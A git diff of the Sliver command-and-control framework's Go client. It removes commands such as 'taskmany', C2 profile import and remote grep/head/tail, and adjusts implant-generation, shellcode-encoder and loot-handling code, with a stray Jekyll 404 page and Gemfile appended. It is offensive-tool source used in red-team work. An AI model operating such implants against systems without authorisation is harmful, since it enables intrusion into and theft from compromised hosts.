(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
generateCmd.AddCommand(generateBeaconCmd)
@@ -763,10 +758,9 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("lhost", "L", "", "Listening host")
f.Uint32P("lport", "l", 8443, "Listening port")
f.StringP("protocol", "r", "tcp", "Staging protocol (tcp/http/https)")
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see help generate msf-stager for the list)")
f.StringP("format", "f", "raw", "Output format (msfvenom formats, see `help generate stager` for the list)")
f.StringP("badchars", "b", "", "bytes to exclude from stage shellcode")
f.StringP("save", "s", "", "directory to save the generated stager to")
f.StringP("advanced", "d", "", "Advanced options for the stager using URI query syntax (option1=value1&option2=value2...)")
})
generateCmd.AddCommand(generateStagerCmd)
@@ -925,7 +919,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -934,7 +927,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the session profile (optional)"))
profilesCmd.AddCommand(profilesNewCmd)
@@ -997,7 +989,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
f.StringP("limit-locale", "L", "", "limit execution to hosts that match this locale")
f.StringP("format", "f", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: `psexec` for more info) and 'shellcode' (windows only)")
f.StringP("c2profile", "C", constants.DefaultC2Profile, "HTTP C2 profile to use")
})
FlagComps(profilesNewBeaconCmd, func(comp *carapace.ActionMap) {
(*comp)["debug-file"] = carapace.ActionFiles()
@@ -1006,7 +997,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
(*comp)["strategy"] = carapace.ActionValuesDescribed([]string{"r", "random", "rd", "random domain", "s", "sequential"}...).Tag("C2 strategy")
(*comp)["format"] = generate.FormatCompleter()
(*comp)["save"] = carapace.ActionFiles().Tag("directory/file to save implant")
(*comp)["c2profile"] = generate.HTTPC2Completer(con)
})
carapace.Gen(profilesNewBeaconCmd).PositionalCompletion(carapace.ActionValues().Usage("name of the beacon profile (optional)"))
profilesNewCmd.AddCommand(profilesNewBeaconCmd)
@@ -1023,38 +1013,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(profilesRmCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesRmCmd)
profilesStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Generate an encrypted and/or compressed implant",
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.StageStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
generate.ProfilesStageCmd(cmd, con, args)
},
}
Flags("stage", false, profilesStageCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", "", "implant name")
f.String("aes-encrypt-key", "", "encrypt stage with AES encryption key")
f.String("aes-encrypt-iv", "", "encrypt stage with AES encryption iv")
f.String("rc4-encrypt-key", "", "encrypt stage with RC4 encryption key")
f.StringP("compress", "C", "", "compress the stage before encrypting (zlib, gzip, deflate9, none)")
f.BoolP("prepend-size", "P", false, "prepend the size of the stage to the payload (to use with MSF stagers)")
})
carapace.Gen(profilesStageCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesStageCmd)
profilesInfoCmd := &cobra.Command{
Use: consts.InfoStr,
Short: "Details about a profile",
Long: help.GetHelpFor([]string{consts.ProfilesStr, consts.RmStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
generate.PrintProfileInfo(args[0], con)
},
}
carapace.Gen(profilesInfoCmd).PositionalCompletion(generate.ProfileNameCompleter(con))
profilesCmd.AddCommand(profilesInfoCmd)
implantBuildsCmd := &cobra.Command{
Use: consts.ImplantBuildsStr,
Short: "List implant builds",
@@ -1094,16 +1052,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(implantsRmCmd).PositionalCompletion(generate.ImplantBuildNameCompleter(con))
implantBuildsCmd.AddCommand(implantsRmCmd)
implantStageCmd := &cobra.Command{
Use: consts.StageStr,
Short: "Serve a previously generated implant",
Long: help.GetHelpFor([]string{consts.ImplantBuildsStr, consts.StageStr}),
Run: func(cmd *cobra.Command, args []string) {
generate.ImplantsStageCmd(cmd, con, args)
},
}
implantBuildsCmd.AddCommand(implantStageCmd)
canariesCmd := &cobra.Command{
Use: consts.CanariesStr,
Short: "List previously generated canaries",
@@ -1305,14 +1253,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
Short: "Monitor threat intel platforms for Sliver implants",
GroupID: consts.SliverHelpGroup,
}
configCmd := &cobra.Command{
Use: consts.MonitorConfigStr,
Short: "Configure monitor API keys",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorConfigCmd(cmd, con, args)
},
}
monitorCmd.AddCommand(&cobra.Command{
Use: "start",
Short: "Start the monitoring loops",
@@ -1327,23 +1267,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
monitor.MonitorStopCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "add",
Short: "Add API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorAddConfigCmd(cmd, con, args)
},
})
configCmd.AddCommand(&cobra.Command{
Use: "del",
Short: "Remove API key configuration",
Run: func(cmd *cobra.Command, args []string) {
monitor.MonitorDelConfigCmd(cmd, con, args)
},
})
monitorCmd.AddCommand(configCmd)
server.AddCommand(monitorCmd)
// [ Loot ] --------------------------------------------------------------
@@ -1810,81 +1733,6 @@ func ServerCommands(con *client.SliverConsoleClient, serverCmds func() []*cobra.
carapace.Gen(hcstat2RmCmd).PositionalCompletion(crack.CrackHcstat2Completer(con).Usage("hcstat2 to remove"))
hcstat2Cmd.AddCommand(hcstat2RmCmd)
// [ Task many ]-----------------------------------------
taskmanyCmd := &cobra.Command{
Use: consts.TaskmanyStr,
Short: "Task many beacons or sessions",
Long: help.GetHelpFor([]string{consts.TaskmanyStr}),
GroupID: consts.GenericHelpGroup,
Run: func(cmd *cobra.Command, args []string) {
taskmany.TaskmanyCmd(cmd, con, args)
},
}
server.AddCommand(taskmanyCmd)
// Add the relevant beacon commands as a subcommand to taskmany
taskmanyCmds := map[string]bool{
consts.ExecuteStr: true,
consts.LsStr: true,
consts.CdStr: true,
consts.MkdirStr: true,
consts.RmStr: true,
consts.UploadStr: true,
consts.DownloadStr: true,
consts.InteractiveStr: true,
consts.ChmodStr: true,
consts.ChownStr: true,
consts.ChtimesStr: true,
consts.PwdStr: true,
consts.CatStr: true,
consts.MvStr: true,
consts.PingStr: true,
consts.NetstatStr: true,
consts.PsStr: true,
consts.IfconfigStr: true,
}
for _, c := range SliverCommands(con)().Commands() {
_, ok := taskmanyCmds[c.Use]
if ok {
taskmanyCmd.AddCommand(taskmany.WrapCommand(c, con))
}
}
// [ HTTP C2 Profiles ] --------------------------------------------------------------
ImportC2ProfileCmd := &cobra.Command{
Use: consts.ImportC2ProfileStr,
Short: "Import HTTP C2 profile",
Long: help.GetHelpFor([]string{consts.ImportC2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.ImportC2ProfileCmd(cmd, con, args)
},
}
Flags(consts.ImportC2ProfileStr, true, ImportC2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile name")
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
C2ProfileCmd := &cobra.Command{
Use: consts.C2ProfileStr,
Short: "Display C2 profile details",
Long: help.GetHelpFor([]string{consts.C2ProfileStr}),
Run: func(cmd *cobra.Command, args []string) {
c2profiles.C2ProfileCmd(cmd, con, args)
},
}
Flags(consts.C2ProfileStr, true, C2ProfileCmd, func(f *pflag.FlagSet) {
f.StringP("name", "n", constants.DefaultC2Profile, "HTTP C2 Profile to display")
})
FlagComps(C2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
C2ProfileCmd.AddCommand(ImportC2ProfileCmd)
server.AddCommand(C2ProfileCmd)
// [ Post-command declaration setup]-----------------------------------------
// Everything below this line should preferably not be any command binding
+3 -3
View File
@@ -21,7 +21,7 @@ package sgn
import (
"context"
"encoding/hex"
"os"
"io/ioutil"
"path/filepath"
"github.com/spf13/cobra"
@@ -33,7 +33,7 @@ import (
// ShikataGaNaiCmd - Command wrapper for the Shikata Ga Nai shellcode encoder
func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
shellcodeFile := args[0]
rawShellcode, err := os.ReadFile(shellcodeFile)
rawShellcode, err := ioutil.ReadFile(shellcodeFile)
if err != nil {
con.PrintErrorf("Failed to read shellcode file: %s", err)
return
@@ -73,7 +73,7 @@ func ShikataGaNaiCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args
outputFile += ".sgn"
}
err = os.WriteFile(outputFile, shellcodeResp.Data, 0o644)
err = ioutil.WriteFile(outputFile, shellcodeResp.Data, 0o644)
if err != nil {
con.PrintErrorf("Failed to write shellcode file: %s", err)
return
+2 -110
View File
@@ -456,7 +456,7 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
}
sliver.AddCommand(executeCmd)
Flags("", false, executeCmd, func(f *pflag.FlagSet) {
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
f.BoolP("token", "T", false, "execute command with current token (windows only)")
f.BoolP("output", "o", false, "capture command output")
f.BoolP("save", "s", false, "save output to a file")
f.BoolP("loot", "X", false, "save output as loot")
@@ -465,7 +465,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
@@ -791,25 +790,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionValues().Usage("path to dest file (required)"),
)
cpCmd := &cobra.Command{
Use: consts.CpStr,
Short: "Copy a file",
Long: help.GetHelpFor([]string{consts.CpStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.CpCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(cpCmd)
Flags("", false, cpCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(cpCmd).PositionalCompletion(
carapace.ActionValues().Usage("path to source file (required)"),
carapace.ActionValues().Usage("path to dest file (required)"),
)
lsCmd := &cobra.Command{
Use: consts.LsStr,
Short: "List current directory",
@@ -939,94 +919,9 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
carapace.ActionFiles().Usage("local path where the downloaded file will be saved (optional)"),
)
grepCmd := &cobra.Command{
Use: consts.GrepStr,
Short: "Search for strings that match a regex within a file or directory",
Long: help.GetHelpFor([]string{consts.GrepStr}),
Args: cobra.ExactArgs(2),
Run: func(cmd *cobra.Command, args []string) {
filesystem.GrepCmd(cmd, con, args)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(grepCmd)
Flags("", false, grepCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("loot", "X", false, "save output as loot (loot is saved without formatting)")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.BoolP("recursive", "r", false, "search recursively")
f.BoolP("insensitive", "i", false, "case-insensitive search")
f.Int32P("after", "A", 0, "number of lines to print after a match (ignored if the file is binary)")
f.Int32P("before", "B", 0, "number of lines to print before a match (ignored if the file is binary)")
f.Int32P("context", "C", 0, "number of lines to print before and after a match (ignored if the file is binary), equivalent to -A x -B x")
f.BoolP("exact", "e", false, "match the search term exactly")
})
carapace.Gen(grepCmd).PositionalCompletion(
carapace.ActionValues().Usage("regex to search the file for"),
carapace.ActionValues().Usage("remote path / file to search in"),
)
headCmd := &cobra.Command{
Use: consts.HeadStr,
Short: "Grab the first number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.HeadStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, true)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(headCmd)
Flags("", false, headCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the first number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the first number of lines from the file")
})
carapace.Gen(headCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
tailCmd := &cobra.Command{
Use: consts.TailStr,
Short: "Grab the last number of bytes or lines from a file",
Long: help.GetHelpFor([]string{consts.TailStr}),
Args: cobra.ExactArgs(1),
Run: func(cmd *cobra.Command, args []string) {
/*
The last argument tells head if the user requested the head or tail of the file
True means head, false means tail
*/
filesystem.HeadCmd(cmd, con, args, false)
},
GroupID: consts.FilesystemHelpGroup,
}
sliver.AddCommand(tailCmd)
Flags("", false, tailCmd, func(f *pflag.FlagSet) {
f.BoolP("colorize-output", "c", false, "colorize output")
f.BoolP("hex", "x", false, "display as a hex dump")
f.BoolP("loot", "X", false, "save output as loot")
f.StringP("name", "n", "", "name to assign loot (optional)")
f.StringP("type", "T", "", "force a specific loot type (file/cred) if looting (optional)")
f.StringP("file-type", "F", "", "force a specific file type (binary/text) if looting (optional)")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
f.Int64P("bytes", "b", 0, "Grab the last number of bytes from the file")
f.Int64P("lines", "l", 0, "Grab the last number of lines from the file")
})
carapace.Gen(tailCmd).PositionalCompletion(carapace.ActionValues().Usage("path to the file to print"))
uploadCmd := &cobra.Command{
Use: consts.UploadStr,
Short: "Upload a file or directory",
Short: "Upload a file",
Long: help.GetHelpFor([]string{consts.UploadStr}),
Args: cobra.RangeArgs(1, 2),
Run: func(cmd *cobra.Command, args []string) {
@@ -1037,9 +932,6 @@ func SliverCommands(con *client.SliverConsoleClient) console.Commands {
sliver.AddCommand(uploadCmd)
Flags("", false, uploadCmd, func(f *pflag.FlagSet) {
f.BoolP("ioc", "i", false, "track uploaded file as an ioc")
f.BoolP("recurse", "r", false, "recursively upload a directory")
f.BoolP("overwrite", "o", false, "overwrite files that exist in the destination")
f.BoolP("preserve", "p", false, "preserve directory structure when uploading a directory")
f.Int64P("timeout", "t", defaultTimeout, "grpc timeout in seconds")
})
carapace.Gen(uploadCmd).PositionalCompletion(
-3
View File
@@ -1,3 +0,0 @@
Taskmany
========
This package implements the `taskmany` command, which is used to task multiple beacons or sessions at once
-199
View File
@@ -1,199 +0,0 @@
package taskmany
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
Copyright (C) 2023 ActualTrash
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/spf13/cobra"
)
// TaskmanyCmd - Task many beacons / sessions
func TaskmanyCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []string) {
con.PrintErrorf("Must specify subcommand. See taskmany --help for supported subcommands.\n")
}
// Helper function to wrap grumble commands with taskmany logic
func WrapCommand(c *cobra.Command, con *console.SliverConsoleClient) *cobra.Command {
wc := &cobra.Command{
Use: c.Use,
Short: c.Short,
Long: c.Long,
Args: c.Args,
Run: wrapFunctionWithTaskmany(con, c.Run),
}
wc.Flags().AddFlagSet(c.Flags())
wc.PersistentFlags().AddFlagSet(c.PersistentFlags())
return wc
}
// Wrap a function to run it for each beacon / session
func wrapFunctionWithTaskmany(con *console.SliverConsoleClient, f func(cmd *cobra.Command, args []string)) func(cmd *cobra.Command, args []string) {
return func(cmd *cobra.Command, args []string) {
defer con.Println()
sessions, beacons, err := SelectMultipleBeaconsAndSessions(con)
if err != nil {
con.Println()
con.PrintErrorf("%s\n", err)
return
}
con.Println()
// Save current active beacon or session
origSession, origBeacon := con.ActiveTarget.Get()
nB := 0
nBSkipped := 0
for _, b := range beacons {
if !b.IsDead {
con.ActiveTarget.Set(nil, b)
f(cmd, args)
nB += 1
} else {
nBSkipped += 1
}
}
nS := 0
nSSkipped := 0
for _, s := range sessions {
if !s.IsDead {
con.ActiveTarget.Set(s, nil)
f(cmd, args)
nS += 1
} else {
nSSkipped += 1
}
}
// Restore active session / beacon
con.ActiveTarget.Set(origSession, origBeacon)
con.PrintInfof("Tasked %d sessions and %d beacons >:D\n", nS, nB)
if nBSkipped > 0 || nSSkipped > 0 {
con.PrintWarnf("Skipped %d dead sessions and %d dead beacons\n", nSSkipped, nBSkipped)
}
}
}
func SelectMultipleBeaconsAndSessions(con *console.SliverConsoleClient) ([]*clientpb.Session, []*clientpb.Beacon, error) {
// Get and sort sessions
sessionsObj, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
sessions := sessionsObj.Sessions
sort.Slice(sessions, func(i, j int) bool {
return sessions[i].ID < sessions[j].ID
})
// Get and sort beacons
beaconsObj, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, nil, err
}
beacons := beaconsObj.Beacons
sort.Slice(beacons, func(i, j int) bool {
return beacons[i].ID < beacons[j].ID
})
if len(beacons) == 0 && len(sessions) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons 🙁")
}
// Render selection table
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
sessionOptionMap := map[string]*clientpb.Session{}
for _, session := range sessions {
option := fmt.Sprintf("%s\t%s\t%s\t%s\t%s\t%s\t%s",
"SESSION",
strings.Split(session.ID, "-")[0],
session.Name,
session.RemoteAddress,
session.Hostname,
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
fmt.Fprintf(table, option+"\n")
o := strings.ReplaceAll(option, "\t", "")
sessionOptionMap[o] = session
}
beaconOptionMap := map[string]*clientpb.Beacon{}
for _, beacon := range beacons {
option := fmt.Sprintf("%s\t%s\t%s\t%s\t%s\t%s\t%s",
"BEACON",
strings.Split(beacon.ID, "-")[0],
beacon.Name,
beacon.RemoteAddress,
beacon.Hostname,
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
fmt.Fprintf(table, option+"\n")
o := strings.ReplaceAll(option, "\t", "")
beaconOptionMap[o] = beacon
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.MultiSelect{
Message: "Select sessions and beacons:",
Options: options,
}
selected := []string{}
survey.AskOne(prompt, &selected)
if len(selected) == 0 {
return nil, nil, fmt.Errorf("no sessions or beacons selected 🤔")
}
selectedSessions := []*clientpb.Session{}
selectedBeacons := []*clientpb.Beacon{}
for _, s := range selected {
s = strings.ReplaceAll(s, " ", "")
s = strings.ReplaceAll(s, "\t", "")
session, ok := sessionOptionMap[s]
if ok {
selectedSessions = append(selectedSessions, session)
}
beacon, ok := beaconOptionMap[s]
if ok {
selectedBeacons = append(selectedBeacons, beacon)
}
}
return selectedSessions, selectedBeacons, nil
}
+2 -1
View File
@@ -20,6 +20,7 @@ package tasks
import (
"context"
"io/ioutil"
"os"
"strings"
"time"
@@ -781,7 +782,7 @@ func promptSaveToFile(data []byte, con *console.SliverConsoleClient) {
return
}
}
err = os.WriteFile(saveTo, data, 0o600)
err = ioutil.WriteFile(saveTo, data, 0o600)
if err != nil {
con.PrintErrorf("Failed to save file: %s\n", err)
return
+2 -1
View File
@@ -23,6 +23,7 @@ import (
"crypto/tls"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"net/url"
@@ -119,7 +120,7 @@ func UpdateCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []stri
lastCheck := []byte(fmt.Sprintf("%d", now.Unix()))
appDir := assets.GetRootAppDir()
lastUpdateCheckPath := path.Join(appDir, consts.LastUpdateCheckFileName)
err = os.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
err = ioutil.WriteFile(lastUpdateCheckPath, lastCheck, 0o600)
if err != nil {
con.Printf("Failed to save update check time %s", err)
}
+7 -20
View File
@@ -27,12 +27,10 @@ import (
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
"github.com/bishopfox/sliver/util/encoders"
"github.com/spf13/cobra"
"google.golang.org/protobuf/proto"
)
// wasmMaxModuleSize - Arbitrary 1.5Gb limit to put us well under the 2Gb max gRPC message size
@@ -141,31 +139,20 @@ func runNonInteractive(execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.
con.PrintErrorf("%s\n", err)
return
}
if execWasmResp.Response != nil && execWasmResp.Response.Async {
con.AddBeaconCallback(execWasmResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execWasmResp)
if err != nil {
con.PrintErrorf("Failed to decode response %s\n", err)
return
}
con.PrintInfof("Executed wasm extension '%s' successfully\n", execWasmReq.Name)
os.Stdout.Write(execWasmResp.Stdout)
os.Stderr.Write(execWasmResp.Stderr)
})
} else {
con.PrintInfof("Executed wasm extension '%s' successfully\n", execWasmReq.Name)
os.Stdout.Write(execWasmResp.Stdout)
os.Stderr.Write(execWasmResp.Stderr)
if execWasmResp.Response != nil && execWasmResp.Response.Err != "" {
con.PrintErrorf("%s\n", execWasmResp.Response.Err)
return
}
con.PrintInfof("Executed wasm extension '%s' successfully\n", execWasmReq.Name)
os.Stdout.Write(execWasmResp.Stdout)
os.Stderr.Write(execWasmResp.Stderr)
}
func runInteractive(cmd *cobra.Command, execWasmReq *sliverpb.ExecWasmExtensionReq, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSession()
if session == nil {
con.PrintErrorf("No active session\n")
if beacon := con.ActiveTarget.GetBeacon(); beacon != nil {
con.PrintWarnf("Wasm modules cannot be executed with --pipe in beacon mode\n")
}
return
}
+2 -2
View File
@@ -23,8 +23,8 @@ import (
"context"
"encoding/base64"
"encoding/hex"
"io/ioutil"
"net"
"os"
"strings"
"text/template"
@@ -95,7 +95,7 @@ func WGConfigCmd(cmd *cobra.Command, con *console.SliverConsoleClient, args []st
if !strings.HasSuffix(save, ".conf") {
save += ".conf"
}
err = os.WriteFile(save, output.Bytes(), 0o600)
err = ioutil.WriteFile(save, output.Bytes(), 0o600)
if err != nil {
con.PrintErrorf("Error: %s\n", err)
return
+2 -5
View File
@@ -192,7 +192,7 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
consoleLog := getConsoleLogFile()
consoleLogStream, err := con.ClientLogStream("json")
if err != nil {
log.Printf("Could not get client json log stream: %s", err)
log.Printf("Could not get client log stream: %s", err)
}
con.setupLogger(consoleLog, consoleLogStream)
defer consoleLog.Close()
@@ -202,9 +202,6 @@ func StartClient(con *SliverConsoleClient, rpc rpcpb.SliverRPCClient, serverCmds
defer asciicastLog.Close()
asciicastStream, err := con.ClientLogStream("asciicast")
if err != nil {
log.Printf("Could not get client asciicast log stream: %s", err)
}
con.setupAsciicastRecord(asciicastLog, asciicastStream)
}
@@ -550,7 +547,7 @@ func (con *SliverConsoleClient) GetActiveSessionConfig() *clientpb.ImplantConfig
Priority: uint32(0),
})
config := &clientpb.ImplantConfig{
ID: session.ID,
Name: session.GetName(),
GOOS: session.GetOS(),
GOARCH: session.GetArch(),
Debug: true,
+1 -1
View File
@@ -163,7 +163,7 @@ func (con *SliverConsoleClient) Println(args ...any) {
logger := slog.New(con.jsonHandler)
format := strings.Repeat("%s", len(args))
logger.Info(fmt.Sprintf(format, args))
con.printf(format+"\n", args...)
con.printf(format, args...)
}
// PrintInfof prints an info message immediately below the last line of output.
+5 -16
View File
@@ -127,7 +127,6 @@ const (
BackgroundStr = "background"
InfoStr = "info"
UseStr = "use"
TaskmanyStr = "taskmany"
ReconfigStr = "reconfig"
PruneStr = "prune"
TasksStr = "tasks"
@@ -143,8 +142,6 @@ const (
SettingsStr = "settings"
SearchStr = "search"
TrafficEncodersStr = "traffic-encoders"
C2ProfileStr = "c2profiles"
ImportC2ProfileStr = "import"
// Generic
@@ -182,7 +179,6 @@ const (
HttpsStr = "https"
NamedPipeStr = "named-pipe"
TCPListenerStr = "tcp"
UDPListenerStr = "udp"
MsfStr = "msf"
MsfInjectStr = "msf-inject"
@@ -202,17 +198,12 @@ const (
LsStr = "ls"
MvStr = "mv"
CpStr = "cp"
RmStr = "rm"
StageStr = "stage"
MkdirStr = "mkdir"
CdStr = "cd"
PwdStr = "pwd"
CatStr = "cat"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
GrepStr = "grep"
UploadStr = "upload"
IfconfigStr = "ifconfig"
NetstatStr = "netstat"
@@ -262,7 +253,6 @@ const (
WgSocksStr = "wg-socks"
WgPortFwdStr = "wg-portfwd"
MonitorStr = "monitor"
MonitorConfigStr = "config"
SSHStr = "ssh"
DLLHijackStr = "dllhijack"
InteractiveStr = "interactive"
@@ -295,12 +285,11 @@ const (
BuildersStr = "builders"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
DefaultC2Profile = "default"
CrackStr = "crack"
StationsStr = "stations"
WordlistsStr = "wordlists"
RulesStr = "rules"
Hcstat2Str = "hcstat2"
)
// Groups
+2 -2
View File
@@ -22,7 +22,7 @@ import (
"bytes"
"context"
"errors"
"os"
"io/ioutil"
"path"
"github.com/bishopfox/sliver/client/assets"
@@ -139,7 +139,7 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := os.ReadFile(loaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
}
+2 -2
View File
@@ -24,7 +24,7 @@ import (
"encoding/hex"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
@@ -161,7 +161,7 @@ func requestPayload(target string) ([]byte, error) {
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return io.ReadAll(resp.Body)
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
+2 -2
View File
@@ -3,7 +3,7 @@ package version
import (
"encoding/json"
"errors"
"io"
"io/ioutil"
"net/http"
"os"
"strconv"
@@ -77,7 +77,7 @@ func CheckForUpdates(client *http.Client, prereleases bool) (*Release, error) {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return nil, err
}
+24
View File
@@ -0,0 +1,24 @@
---
layout: default
---
<style type="text/css" media="screen">
.container {
margin: 10px auto;
max-width: 600px;
text-align: center;
}
h1 {
margin: 30px 0;
font-size: 4em;
line-height: 1;
letter-spacing: -1px;
}
</style>
<div class="container">
<h1>404</h1>
<p><strong>Page not found :(</strong></p>
<p>The requested page could not be found.</p>
</div>
+41
View File
@@ -0,0 +1,41 @@
source "https://rubygems.org"
# Hello! This is where you manage which Jekyll version is used to run.
# When you want to use a different version, change it below, save the
# file and run `bundle install`. Run Jekyll with `bundle exec`, like so:
#
# bundle exec jekyll serve
#
